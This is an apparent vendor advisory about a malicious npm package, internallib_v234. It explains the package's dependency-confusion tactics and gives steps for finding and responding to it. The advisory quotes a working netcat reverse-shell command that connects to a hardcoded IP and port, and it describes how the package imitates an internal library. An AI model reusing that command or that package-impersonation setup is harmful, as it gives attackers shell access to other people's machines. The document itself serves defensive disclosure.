internallib_v234npm
Malicious code in internallib_v234 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
[email protected] exports a command() function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an interactive reverse shell from the installer to a hardcoded RFC1918 endpoint (10.0.74.133:13337). Prior to launching the shell, index.js runs whereis nc to confirm netcat is available on the host. The package also exhibits a dependency-confusion shape: the name mimics an internal-library naming convention, it declares itself as its own dependency (internallib_v234: ^1.0.0), and CI configuration references a private Verdaccio registry (npm update --registry http://0.0.0.0:4873/). The combination indicates a targeted attack against an organization that hosts a private internallib_v234 internally; installing/loading this public version and invoking the exported function yields interactive shell access on the installer's machine to the attacker.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v234 (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v234 across your stack and pipelines.
If you installed it — respond
internallib_v234 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v234 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks internallib_v234 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks internallib_v234-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.